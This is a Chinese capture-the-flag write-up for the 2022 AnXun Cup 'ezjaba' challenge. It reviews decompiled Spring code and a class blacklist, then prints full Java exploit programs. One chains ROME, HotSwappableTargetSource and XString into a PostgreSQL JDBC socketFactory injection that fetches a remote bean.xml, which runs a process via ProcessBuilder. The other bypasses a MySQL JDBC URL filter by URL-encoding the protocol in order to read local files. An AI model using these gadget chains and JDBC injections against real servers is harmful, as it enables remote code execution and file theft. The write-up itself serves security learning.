March 29, 2023

安洵杯2022 ezjaba

考点:JDBC反序列化,postgresql-JDBC?

一、惯例审题环节

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjaba.controller;

import com.example.ezjaba.security.SecurityObjectInpitStream;
import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class IndexController {
public IndexController() {
}

@RequestMapping({"/"})
public String index() {
return "hello";
}

@RequestMapping({"/read"})
public String welcome(@RequestParam(name = "data",required = true) String data) throws IOException, ClassNotFoundException {
InputStream inputStream = new ByteArrayInputStream(Base64.getDecoder().decode(data));
SecurityObjectInpitStream objectInputStream = new SecurityObjectInpitStream(inputStream);
String name = objectInputStream.readUTF();
int year = objectInputStream.readInt();
if (name.equals("axb") && year == 2022) {
objectInputStream.readObject();
}

return "赛博功夫点到及止";
}
}

赛博功夫,read路由有一个反序列化入口点,前面的if判断我们生成payload的时候用writeUTF和writeInt写进去就好了,没啥东西
再看看其他包里,connection包中有进行JDBC连接的地方

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjaba.Connection;

import com.example.ezjaba.security.JdbcUtils;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;

public class Database implements Serializable, Data {
public String database;
public String host;
public String username;
public String password;
public Connection connection;

public Database() {
}

public Connection getConnection() {
String url = "jdbc:" + this.database + "://" + this.host + ":5432/axb?user=" + this.username + "&password" + this.password;

try {
JdbcUtils.filterJdbcUrl(url);
this.connection = DriverManager.getConnection(url);
} catch (SQLException var3) {
throw new RuntimeException(var3);
} catch (Exception var4) {
throw new RuntimeException(var4);
}

return this.connection;
}

public void setDatabase(String database) {
this.database = database;
}

public void setHots(String host) {
this.host = host;
}

public void setUsername(String username) {
this.username = username;
}

public void setPassword(String password) {
this.password = password;
}
}

这里调用了DriverManager.getConnection进行JDBC连接,但在这之前有一层判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjaba.security;

public class JdbcUtils {
private static final String JDBC_MYSQL_PROTOCOL = "jdbc:mysql";
private static final String SENSITIVE_PARAM = "autoDeserialize=true";
private static final String FILE_READ = "allowLoadLocalInfile=true";

public JdbcUtils() {
}

public static void filterJdbcUrl(String url) throws Exception {
if (url.startsWith("jdbc:mysql") && (url.contains("autoDeserialize=true") || url.contains("allowLoadLocalInfile=true"))) {
throw new Exception("那就这样吧,再连接就不太礼貌了");
}
}
}

这里简单的把常规的payload ban掉了也就是最熟悉的mysql jdbc反序列化,除此之外仔细观察read路由,里面用的输出流也不是原生的,而是自定义重写的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
//
// Source code recreated from a .class file by IntelliJ IDEA
// (powered by FernFlower decompiler)
//

package com.example.ezjaba.security;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ObjectBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.IOException;
import java.io.InputStream;
import java.io.InvalidClassException;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;
import java.security.SignedObject;
import java.util.ArrayList;
import java.util.List;
import javax.management.BadAttributeValueExpException;

public class SecurityObjectInpitStream extends ObjectInputStream {
private List<String> list = new ArrayList();

public SecurityObjectInpitStream(InputStream inputStream) throws IOException {
super(inputStream);
this.list.add(BadAttributeValueExpException.class.getName());
this.list.add(ObjectBean.class.getName());
this.list.add(EqualsBean.class.getName());
this.list.add(TemplatesImpl.class.getName());
this.list.add(Runtime.class.getName());
this.list.add(SignedObject.class.getName());
this.list.add(JdbcRowSetImpl.class.getName());
}

protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
if (this.list.contains(desc.getName())) {
throw new InvalidClassException("hacker!!!!!!!!!!!");
} else {
return super.resolveClass(desc);
}
}
}

ban掉了上面list中的类,也就是

1
2
3
4
5
6
7
BadAttributeValueExpException
ObjectBean
EqualsBean
TemplatesImpl
Runtime
SignedObject
JdbcRowSetImpl

再看看题目给的依赖:
image.png
有个ROME,那就是说明肯定是打Rome链,只不过我们开局的ToString断掉了,我们需要想办法去触发ToStringBean的Tostring方法,这也就是西湖论剑里我们常用的xstring和hotswapper,那链子我们是接上了,触发ToStringBean后就会调用任意的get,set方法,而database类里面有一个getConnection,那么必然会调用这个方法,从而存在JDBC反序列化,基本思路就是这样

二、解题环节

(1)预期解 PostgrelSQL反序列化

正常逻辑是看到mysql被ban了,同时依赖中又给了postgresql的依赖,那自然就想到了它的反序列化,而这边在网上检索了一番后也是确实发现了有关的CVE
https://xz.aliyun.com/t/11812#toc-4
image.png
这张图概括将利用链概括的很好,最后一部分那个CVE2017可以忽略,我们并不需要走那条路,我们只需要利用它前面的ctor.newinstance去初始化springframework一个很熟悉的类,ClassPathXmlApplicationContext,学过Spring的人对这个类肯定不陌生,这就是初始化我们bean的一个类,他的构造函数可以读取xml文件并实例化bean
image.png
因此思路很明确,最后触发RCE的地方就在这,而前面的利用链我们理一下思路,首先是ROME链的后半段,要想办法接上toString,而Xstring和HotSwapper刚好可以接上,因此最终POC为如下构造

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package com.example.ezjaba.exp;

import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exp {
public static void main(String[] args) throws Exception{;
Database database = new Database();
setFieldValue(database,"database","postgresql");
setFieldValue(database,"host","127.0.0.1");
setFieldValue(database,"username","boogipop&socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://127.0.0.1:7777/bean.xml");
ToStringBean toStringBean = new ToStringBean(Database.class,database);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = new HashMap();
map.put(h1,h1);
map.put(h2,h2);
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeUTF("axb");
out.writeInt(2022);
out.writeObject(map);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

有个小细节就是writeUTF和writeInt需要放在writeObject的前面,否则写不进去。并且Database类所在位置需要和题目一一对应:
image.png
输出好后得到一串BASE64编码,我们直接往题目中传参
image.png
赛博功夫点到为止,很喜欢这个地方的提示呀,这就说明你的利用链大概率触发成功了,而计算机确实也弹出了

流程分析

对于前半段ROME就不分析了,这个在西湖论剑的easy_api中给出了,我们直接看调用getConnection后发生了什么(Rome链会调用任意get和set)
image.png
image.png
进入getConnection方法
image.png
在里面调用了makeconnection方法,准备进行连接初始化
image.png
Pgconnection方法
image.png
openconnection打开一个连接
image.png
调用其实现类
image.png
在getSocktFacotry中把CPX类传入了instantiate方法中,准备进行初始化
image.png
这边调用了CPX的构造方法实例化,然后加载远程的bean.xml文件,准备的文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:p="http://www.springframework.org/schema/p"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<!-- 普通方式创建类-->
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value>calc.exe</value>
</list>
</constructor-arg>
</bean>
</beans>

随后便弹出计算器

(2)非预期 | 编码绕过URL任意文件读取

我们可以自己在本地实验,一般的jdbc url是jdbc://mysql/xxxxxx这种形式,而mysql这个字段可以进行url编码,在进行解析时会自动解码,因此得以绕过
思路大致上是和上半段一样的,因此POC很容易构造如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package com.example.ezjaba.exp;

import com.example.ezjaba.Connection.Database;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xpath.internal.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;

public class exp2 {
public static void main(String[] args) throws Exception{;
Database database = new Database();
setFieldValue(database,"database","%6d%79%73%71%6c");
//setFieldValue(database,"database","mysql");
setFieldValue(database,"host","127.0.0.1");
setFieldValue(database,"username","fileread_c:\\\\windows\\\\win.ini&maxAllowedPacket=655360");
//setFieldValue(database,"username","boogipop&characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true");
ToStringBean toStringBean = new ToStringBean(Database.class,database);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("123"));
HotSwappableTargetSource h1 = new HotSwappableTargetSource(toStringBean);
// 执行序列化与反序列化,并且返回序列化数据
HashMap<Object, Object> map = new HashMap();
map.put(h1,h1);
map.put(h2,h2);
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeUTF("axb");
out.writeInt(2022);
out.writeObject(map);
// 输出序列化的Base64编码字符
Base64Encode(bs);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

image.png
由于这里没有设置flag所以读一个win.ini来当例子,详细可以看
这里介绍了JDBC任意文件读取的原理和利用,mysql恶意服务器是在github上开源的fake_mysql

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#WriteUp#Java